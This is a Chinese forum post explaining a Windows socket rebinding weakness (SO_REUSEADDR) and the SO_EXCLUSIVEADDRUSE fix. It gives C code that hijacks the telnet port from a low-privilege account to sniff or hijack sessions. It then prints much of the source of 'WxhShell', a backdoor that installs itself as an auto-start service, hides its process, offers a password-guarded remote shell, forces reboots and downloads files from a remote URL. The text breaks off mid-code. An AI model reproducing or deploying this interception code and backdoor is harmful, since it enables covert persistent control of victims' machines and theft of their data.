社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13497阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,w4V?>l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #c.K/&Gc7j  
w%jII{@,  
  saddr.sin_family = AF_INET; Z,Dl` w  
sS'm!7*(3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 56kI 5:  
~dTrf>R8M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); M gi,$H  
/!XVHkX[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6q.Uhe_B  
mGg+.PFsM  
  这意味着什么?意味着可以进行如下的攻击: P8/0H(,  
&Hs!:43E-<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^9:Z7 >Z  
-;WGS o  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ":QZy8f9%  
DT&@^$?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7a<DKB  
p947w,1![  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <*cikXS  
D_zZXbNc  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bq0zxg%  
ml }{|Yz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 SSMHoJGm  
q9s=~d7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 LyFN.2qw  
' %o#q6O  
  #include <x>M o   
  #include &\*(Q*2N  
  #include j*r{2f4Rt  
  #include    nUOz\ y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =U?dbSf1*  
  int main() n,WqyNt*  
  { <frutU16\  
  WORD wVersionRequested; oe-\ozJ0  
  DWORD ret; 3L}A3de'  
  WSADATA wsaData; f9{Rb/l!BQ  
  BOOL val; svH !1 b  
  SOCKADDR_IN saddr; B:'US&6Lf'  
  SOCKADDR_IN scaddr; VRB;$  
  int err; 9CD_ os\h  
  SOCKET s; WNrk}LFof  
  SOCKET sc; nZYBE030  
  int caddsize; >tW#/\x{  
  HANDLE mt; ePo}y])2  
  DWORD tid;   f(MO_Sj]  
  wVersionRequested = MAKEWORD( 2, 2 ); O6^]=/wd  
  err = WSAStartup( wVersionRequested, &wsaData ); `3&v6  
  if ( err != 0 ) { DEZve Qr=  
  printf("error!WSAStartup failed!\n"); JIq=* '  
  return -1; &^Q/,H~S  
  } Ta\tYZj$  
  saddr.sin_family = AF_INET; DN:EB @  
   [`7ThHX  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o&$A]ph8X  
wI/iuc  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); YNi.SXH  
  saddr.sin_port = htons(23); G" "ZI$`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <7jW _R@  
  { $qj2w"'  
  printf("error!socket failed!\n"); pFjK}J OF  
  return -1; }*]-jWt1J\  
  } C;^X[x%h7$  
  val = TRUE; =D"#U#>;7&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]~siaiN[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $6poFo)U+  
  { e$rZ5X  
  printf("error!setsockopt failed!\n"); u]UOSfn  
  return -1; _X x/(.O  
  } 13x p_j  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /cP"h!P}~~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 d%n-[ZL  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ' S/gmn  
5`p.#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) x7 ,5  
  { "VMz]ybi^  
  ret=GetLastError(); uQKT  
  printf("error!bind failed!\n"); eTcd"Kd/  
  return -1; 9_/:[N6|c|  
  } SOA,kwHRe  
  listen(s,2); V(!V_Ug9.  
  while(1) ;Q`lNFa  
  { DkDmE  
  caddsize = sizeof(scaddr); KHvYUTY  
  //接受连接请求 4;2uW#dG"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <lJ345Q  
  if(sc!=INVALID_SOCKET) (KZ{^X?a  
  { 5*u+q2\F  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); E|shs=I  
  if(mt==NULL) 1EX;MW-p<T  
  { ('+d.F[109  
  printf("Thread Creat Failed!\n"); +] {G@pn  
  break; S)"Jf?  
  } @gK?\URoT  
  } XC#oB~K'  
  CloseHandle(mt); ]JQULE)  
  } deh*Ib:(S  
  closesocket(s); 4 s9LB  
  WSACleanup(); >9Vn.S  
  return 0; l,aay-E  
  }   rEz^  
  DWORD WINAPI ClientThread(LPVOID lpParam) ZXPX,~ 5o  
  { )NT*bLRPQ  
  SOCKET ss = (SOCKET)lpParam; T6$+hUM$1  
  SOCKET sc; _Y m2/3!  
  unsigned char buf[4096]; )%fH(ns(  
  SOCKADDR_IN saddr; +:/%3}`  
  long num; vtJJ#8a]  
  DWORD val; V>rU.Mp QU  
  DWORD ret; w_VP J  
  //如果是隐藏端口应用的话,可以在此处加一些判断 X2'0PXv>!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \a3+rN dj  
  saddr.sin_family = AF_INET; Y8t8!{ytg  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); es0hm2HT3  
  saddr.sin_port = htons(23); [{/jI\?v  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E _|<jy$`  
  { G=bCNn<  
  printf("error!socket failed!\n"); bpa?C  
  return -1; j![\& z  
  } |;{6& S  
  val = 100; 1G`Pmh@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9+!hg'9Qn  
  { {id4:^u&;  
  ret = GetLastError(); |JsZJ9W+J  
  return -1; ]hV*r@d  
  } )=(kBWM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l;E(I_ i)  
  { | 6y  
  ret = GetLastError(); AQ^u   
  return -1; ;5AcFB  
  } tX~w{|k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) EKN~H$.  
  { 1=v*O.XW`  
  printf("error!socket connect failed!\n"); ?gXp*>Kg[  
  closesocket(sc); PQE =D0  
  closesocket(ss); JlJ a #  
  return -1; #lO Mm9  
  } >8[Z.fX  
  while(1) zKK9r~ M  
  { yIE!j %u  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^=*;X;7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 W} ofAkF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _tycgq#  
  num = recv(ss,buf,4096,0); /zox$p$?h  
  if(num>0) 5`_SN74o  
  send(sc,buf,num,0); qxJ\ye+'*  
  else if(num==0) @E8+C8'  
  break; YchH~m|  
  num = recv(sc,buf,4096,0); 4 H&#q>  
  if(num>0) O33 `+UV"W  
  send(ss,buf,num,0); 2+WaA ,   
  else if(num==0) BL4-7  
  break; onV>.7sG  
  } 7PF%76TO  
  closesocket(ss); fd9k?,zM  
  closesocket(sc); ;O #>Y  
  return 0 ; 'E.w=7z&  
  } N)Z?Z+ }h  
OB}Ib]  
o<!?7g{  
========================================================== -%4,@ x`  
a09<!0Rp  
下边附上一个代码,,WXhSHELL V^~:F  
]]Ufas9  
========================================================== JjS?  
uvS)8-o&F  
#include "stdafx.h" e8 b:)"R  
a-J.B.A$Z/  
#include <stdio.h> >`D:-huNeE  
#include <string.h> 8Cv?Z.x5  
#include <windows.h> v(%*b,^  
#include <winsock2.h> SZCze"`[  
#include <winsvc.h> <=C?e<Y  
#include <urlmon.h> +H Usz ?  
!L8#@BjU  
#pragma comment (lib, "Ws2_32.lib") !3v1bGk  
#pragma comment (lib, "urlmon.lib") \_U$"/$4VH  
U3:j'Su4H?  
#define MAX_USER   100 // 最大客户端连接数 e*n@j  
#define BUF_SOCK   200 // sock buffer ;Q&5,< N)j  
#define KEY_BUFF   255 // 输入 buffer %!L9)(}"  
))i}7 chc  
#define REBOOT     0   // 重启 fg{n(TE"8  
#define SHUTDOWN   1   // 关机 Fr$5RAyg  
{vO9p tR;  
#define DEF_PORT   5000 // 监听端口 uXq. ]ub  
r(2uu  
#define REG_LEN     16   // 注册表键长度 Q1l' 7N  
#define SVC_LEN     80   // NT服务名长度  :#~j:C|  
HX{`Vah E  
// 从dll定义API ;]jNk'oa  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d5z`BH.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [ps*uva  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9!DQ~k%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tlt*fH$ .  
{$Gd2g O  
// wxhshell配置信息 .eP.&  
struct WSCFG { -\n@%$M]G  
  int ws_port;         // 监听端口 1~QPG\cdIX  
  char ws_passstr[REG_LEN]; // 口令 ]P2"[y  
  int ws_autoins;       // 安装标记, 1=yes 0=no SG4%}wn%  
  char ws_regname[REG_LEN]; // 注册表键名 FtC^5{V+V  
  char ws_svcname[REG_LEN]; // 服务名 ?8Cq{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L`EBfz\n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 KFkoS0M5|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9,'ncw$/C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no V}NbuvDB@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4vV:EF-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r_;N t  
ZEO,]$Yi7  
}; p`#R<K  
\A6B,|@  
// default Wxhshell configuration bB;5s`-  
struct WSCFG wscfg={DEF_PORT, %\Mo-Ow!\  
    "xuhuanlingzhe", hzbw>g+  
    1, y[_Q-   
    "Wxhshell", ~PahoRS  
    "Wxhshell", Z} r*K%  
            "WxhShell Service", Y<ql49-X  
    "Wrsky Windows CmdShell Service", Jl9k``r*  
    "Please Input Your Password: ", ([LSsZ]sj  
  1, ;H.^i|_/  
  "http://www.wrsky.com/wxhshell.exe", v(D;PS3r 7  
  "Wxhshell.exe"  !V g`  
    }; "djw>|,N<  
@)&=%  
// 消息定义模块 KC#q@InK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M8b;d}XL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r7,t";?>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *6F[t.Or  
char *msg_ws_ext="\n\rExit."; fG(SNNl+D  
char *msg_ws_end="\n\rQuit."; c[1oww  
char *msg_ws_boot="\n\rReboot..."; GMl;7?RA  
char *msg_ws_poff="\n\rShutdown..."; O ,h;hQZ  
char *msg_ws_down="\n\rSave to "; oVe|M ss6  
mh[75(  
char *msg_ws_err="\n\rErr!"; ^ tg<K  
char *msg_ws_ok="\n\rOK!"; KOuCHqCfq  
&,CiM0  
char ExeFile[MAX_PATH]; .:QLk&a,:,  
int nUser = 0; hP)LY=- 2  
HANDLE handles[MAX_USER]; 6U,O*WJ%e  
int OsIsNt; hUMf"=q+  
Om@C X<(9C  
SERVICE_STATUS       serviceStatus; #"\gLr_:m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y)!5R3b  
T7u%^xm  
// 函数声明 M={V|H0  
int Install(void); :G2k5xD/E  
int Uninstall(void); QKN+>X  
int DownloadFile(char *sURL, SOCKET wsh); (/j/>9iro  
int Boot(int flag); s<eb;Z2D  
void HideProc(void); g^{@'}$  
int GetOsVer(void); K[r^'P5m  
int Wxhshell(SOCKET wsl); 5}]"OXQ  
void TalkWithClient(void *cs); [^e%@TV>d  
int CmdShell(SOCKET sock); :~T99^$zA  
int StartFromService(void); /%TI??PGu  
int StartWxhshell(LPSTR lpCmdLine); &*G #H~\  
MET' (m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QpA/SmJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3ojlB|Z  
SY^t} A7:/  
// 数据结构和表定义 w6GyBo{2O_  
SERVICE_TABLE_ENTRY DispatchTable[] = oxkoA  
{ $?<Z!*x  
{wscfg.ws_svcname, NTServiceMain}, _5# y06Q  
{NULL, NULL} ^, _w$H  
}; jWl)cC  
W$OG( m!W>  
// 自我安装 /! $c/QZ  
int Install(void) 87P>IO  
{ S.m{eur!,E  
  char svExeFile[MAX_PATH]; vUU9$x  
  HKEY key; QQ~-  
  strcpy(svExeFile,ExeFile); TDNQu_E  
(Cd\G=PK  
// 如果是win9x系统,修改注册表设为自启动 I}6\Sv=  
if(!OsIsNt) { -}=%/|\FG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vbBc}G"w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0F|AA"mMT  
  RegCloseKey(key); S=nzw-(I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { % !>I*H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [[Fx[  
  RegCloseKey(key); #=f?0UTA  
  return 0; ul2")HL];  
    } i2(1ki/|O  
  } kg3EY<4i  
} I'iGt~4$  
else { \\7ZWp\fN  
?zVL;gVWA  
// 如果是NT以上系统,安装为系统服务 G *;a^]-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >U*T0FL7  
if (schSCManager!=0) [4C:r!  
{ @8^[!F  
  SC_HANDLE schService = CreateService oifv+oY  
  ( l0cA6b  
  schSCManager, Jesjtcy<*  
  wscfg.ws_svcname, ;R?I4}O#R8  
  wscfg.ws_svcdisp, J@X'PG< 6B  
  SERVICE_ALL_ACCESS, p2udm!)J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e9[|!/./5  
  SERVICE_AUTO_START, QC;^xG+W  
  SERVICE_ERROR_NORMAL, WRDjh7~Efn  
  svExeFile, a|=x5`h04~  
  NULL, p>;_e(  
  NULL, 7{qy7,Gp  
  NULL, 1u(.T0j7f  
  NULL, sZm$|T0  
  NULL I=9!Rs(QF  
  ); p4i]7o@  
  if (schService!=0) .h5[Q/*h  
  { hcbv;[bG  
  CloseServiceHandle(schService); Fa_VKAq  
  CloseServiceHandle(schSCManager); % v7[[U{T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =xJKIu  
  strcat(svExeFile,wscfg.ws_svcname); ~\3kx]^10  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZRVT2VfN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ox'/` Mppw  
  RegCloseKey(key); QtqfG{  
  return 0; z7Eg5rm|QZ  
    } a di [-L#  
  } 1YJC{bO  
  CloseServiceHandle(schSCManager); 1`9xIm*9w  
} @b~fIW_3>  
} \Z/)Y;|mi0  
UNi`P9D]3  
return 1; TkO[rAC  
} -yg?V2  
dwv6;x  
// 自我卸载 m7GR[MR  
int Uninstall(void) ee#): -p  
{ R$Tp8G>j  
  HKEY key; mA@Me7m}  
<P;}unq.kw  
if(!OsIsNt) { P7f,OY<@%o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (V%`k'N7f  
  RegDeleteValue(key,wscfg.ws_regname); 'EfR|7m  
  RegCloseKey(key); \VFHHi:I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LJTQaItdqJ  
  RegDeleteValue(key,wscfg.ws_regname); tpTAeQ*:d  
  RegCloseKey(key); eBO@7F$  
  return 0; .pvV1JA'  
  } !'*csg  
} S- JD}+ 9  
} LQXMGgp  
else { `*w!S8}m;  
xY<*:&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Wz)@k2  
if (schSCManager!=0) :[!b";pR  
{ )kvrQ6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (=t41-l  
  if (schService!=0) E5 uk<e_  
  { ZfnJ&H'  
  if(DeleteService(schService)!=0) { WWN2  
  CloseServiceHandle(schService); ^C70b)68  
  CloseServiceHandle(schSCManager); IZOO>-g'f  
  return 0; $n_ax\15  
  } 't'2z  
  CloseServiceHandle(schService); cn2SMa[@S  
  } H-jxH,mJmW  
  CloseServiceHandle(schSCManager); qTI_'q  
} -$ha@ bCWO  
} Wh^wKF~%  
A1F!I4p5  
return 1; rHJtNN8$k  
} O1Nya\^g<I  
_E8doV  
// 从指定url下载文件 ?v}S9z  
int DownloadFile(char *sURL, SOCKET wsh) `P?!2\/  
{ ASUL g{  
  HRESULT hr; Oz-@e%8L  
char seps[]= "/"; 5;X3{$y  
char *token; tY: Nq*@  
char *file; lQBE q"7$  
char myURL[MAX_PATH]; +k~0&lZi  
char myFILE[MAX_PATH]; SN]g4}K-  
P$Oj3HD LM  
strcpy(myURL,sURL); +vxOCN4}v  
  token=strtok(myURL,seps); ifu!6_b.  
  while(token!=NULL) b*H*(}A6"'  
  { ,II3b( l  
    file=token; >^GV #z  
  token=strtok(NULL,seps); 2ij&Db/  
  } 6q>}M  
841y"@*BY  
GetCurrentDirectory(MAX_PATH,myFILE); GC'e  
strcat(myFILE, "\\"); u&^KrOM@#  
strcat(myFILE, file); AI|+*amTd  
  send(wsh,myFILE,strlen(myFILE),0); 9x|`XAB  
send(wsh,"...",3,0); K&Bbjb_|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $;'M8L  
  if(hr==S_OK) :8hI3]9  
return 0; MkL2I+*  
else 1dw{:X=j  
return 1; \"))P1  
I:G8B5{J  
} '^>} =f  
q7f`:P9~  
// 系统电源模块 C\~}ySQc.e  
int Boot(int flag) `lWGwFgg(  
{ 8V 4e\q  
  HANDLE hToken; BV:Ca34&  
  TOKEN_PRIVILEGES tkp; u[Kz^ga<  
kLF`6ZXtd  
  if(OsIsNt) { pGjwI3_K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ",D!8>=s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !%ju.Xs8  
    tkp.PrivilegeCount = 1; m*A b<$y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mL2J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #qY gQ<TM!  
if(flag==REBOOT) { ,;Wm>V)o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^4+NPk  
  return 0; GDSXBa*7  
} 't&1y6Uu  
else { 'z AvQm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |1(x2x%}D^  
  return 0; kSzap+nB?  
} xc 1d[dCdp  
  } "Zh,;)hS  
  else { _ia&|#n  
if(flag==REBOOT) { zGR, }v%%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {)lZfj}l  
  return 0; 41<h|WA  
} )'T].kWW  
else { 5\C(2naf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I3Z?xsa@Z  
  return 0; 4@3\Ihv  
} G\dPGPPM  
} cB){b'WJ  
Lv['/!DJ|  
return 1; h~\k;ca  
} (m:Q'4Ep  
%xCL&}bY  
// win9x进程隐藏模块 P"^Yx8L#  
void HideProc(void) o #\L4P(J  
{ i@nRZ$K  
'1LN)Yw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4"kc(J`c  
  if ( hKernel != NULL ) J FnE{  
  { QOktIH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f&4+-w.:V|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 81x/ bx@L%  
    FreeLibrary(hKernel); ygnZ9ikh<-  
  } S/)),~`4  
= K}Pfh  
return; @[9  
} l+F29_o#  
lwX9:[Z  
// 获取操作系统版本 \99'#]\_/E  
int GetOsVer(void) A?#i{R  
{ k1xx>=md|C  
  OSVERSIONINFO winfo; 8iaMr278W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c=\_[G(  
  GetVersionEx(&winfo); -c?x5/@3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *W\3cS  
  return 1; {AD-p!6G  
  else `)y ;7%-  
  return 0; yg'CL/P  
} WLXt@dK*u  
"KK}} $>  
// 客户端句柄模块 l hYJectJa  
int Wxhshell(SOCKET wsl) * cW%Q@lit  
{ ^2$b8]q  
  SOCKET wsh; eC"e v5v  
  struct sockaddr_in client; \A\  
  DWORD myID; )u Hat#  
yJC: bD1xi  
  while(nUser<MAX_USER) rhPv{6Z|7  
{ !`=iKe&%E  
  int nSize=sizeof(client); jc_k\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cI8\d 4/py  
  if(wsh==INVALID_SOCKET) return 1; }w35fG^  
Uz_ob9l<#H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]@z!r2[  
if(handles[nUser]==0) [DjlkA/Zg  
  closesocket(wsh); N7"cMAs\G  
else >g!$H}\  
  nUser++; Dz~^AuD6  
  } kYkA^Aq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >ph=?M KD  
2(GY k  
  return 0; U9`Co&Z2  
} }|Q\@3&  
?SYmsaSr5  
// 关闭 socket 8v4krz<Iq  
void CloseIt(SOCKET wsh) N~v<8vJq`  
{ :^?-bppYW  
closesocket(wsh); B]yO  
nUser--; +pq=i  
ExitThread(0); D]iyr>V6'  
} Z:h'kgG&  
#B?lU"f8q^  
// 客户端请求句柄 j-J/yhWO&  
void TalkWithClient(void *cs) <bW~!lv  
{ 8hww({S2  
[Y`E"1f2  
  SOCKET wsh=(SOCKET)cs; |4/rVj"  
  char pwd[SVC_LEN]; 4s|qxCks  
  char cmd[KEY_BUFF]; 1 Lg{l  
char chr[1]; `*Wg&u  
int i,j; Es}`S Ie/  
5,4" CF$  
  while (nUser < MAX_USER) { bydI+pVMo  
EVqqOp1$v4  
if(wscfg.ws_passstr) { "\+\,C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (g[WZB3x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EY)?hJS,  
  //ZeroMemory(pwd,KEY_BUFF); I+Yq",{%  
      i=0; fA1{-JzV<4  
  while(i<SVC_LEN) { XkUwO ]  
N@X6Z!EO  
  // 设置超时 OD Ry  
  fd_set FdRead; >u0XV"g$  
  struct timeval TimeOut; H0B=X l[  
  FD_ZERO(&FdRead); Zonn  
  FD_SET(wsh,&FdRead); aEa.g.SZ  
  TimeOut.tv_sec=8; QaE!?R  
  TimeOut.tv_usec=0; #$U/*~m $  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \O~/^ Y3U!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1)97AkN(O  
}3WP:Et  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Xep2 )3k>  
  pwd=chr[0]; q l5&&e=-  
  if(chr[0]==0xd || chr[0]==0xa) { ^u90N>Dvq  
  pwd=0; /9SoVU8  
  break; (ruMOKW  
  } "ig)7X+Wz|  
  i++; A ^hafBa  
    } ^g2Vz4u  
58mpW`Q  
  // 如果是非法用户,关闭 socket * _usVg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qTWQ!  
} f#I#24)RH  
=?]S8cth  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b,jo94.G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g^po$%I '  
L"c.15\  
while(1) {  N?,  
l  LBzY`j  
  ZeroMemory(cmd,KEY_BUFF); %ib7)8Ki0  
6h&t%T  
      // 自动支持客户端 telnet标准   C(>g4.-p8  
  j=0; =l] lwA -  
  while(j<KEY_BUFF) { X4'!:&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I+3=|Ve f  
  cmd[j]=chr[0]; F_/ra?WVH  
  if(chr[0]==0xa || chr[0]==0xd) { +4qR5(W  
  cmd[j]=0; OYmutq  
  break; V4n;N  
  } Ne3YhCC>  
  j++; K,PN:  
    } ?} E M,  
i>-#QKqJ  
  // 下载文件 Uhn3usK  
  if(strstr(cmd,"http://")) { *].qm g%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QWt3KW8)  
  if(DownloadFile(cmd,wsh))  -V"W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qf@P9M  
  else UbIUc}ge  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]|K6Z>V  
  } ~GJ;;v1b2  
  else { aN,? a@B  
[P}mDX  
    switch(cmd[0]) { 2o1WXE %$  
  el2<W=^M  
  // 帮助 $n47DW &  
  case '?': { GZuWA a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yVKl%GO  
    break; _sL;E<)y(  
  } '|Lv -7  
  // 安装 !4Sd^"  
  case 'i': { )>"Ky  
    if(Install()) JnqP`kYbTE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0$=U\[og  
    else QOPh3+.5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V_n tS& 2o  
    break; c&h8Qk3  
    } 0;OZ|;Z  
  // 卸载 Cy5iEI#  
  case 'r': { */@I$*  
    if(Uninstall()) ZnuRy:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F~OQ'59!Pf  
    else S<i. O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bTAY5\wB  
    break; ~RBa&Y=Mb  
    } OJM2t`}_t  
  // 显示 wxhshell 所在路径 (Gapv9R  
  case 'p': { &%(SkL_]  
    char svExeFile[MAX_PATH]; _~P &8  
    strcpy(svExeFile,"\n\r"); kK:Wr&X0H  
      strcat(svExeFile,ExeFile); +br' 2Pn  
        send(wsh,svExeFile,strlen(svExeFile),0); Q]RE,ZZ  
    break; W?ghG  
    } ;'[?H0Jw'  
  // 重启 DPmY_[OAE  
  case 'b': { J{XRltI+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }6{00er  
    if(Boot(REBOOT)) nT}i&t!q8@  
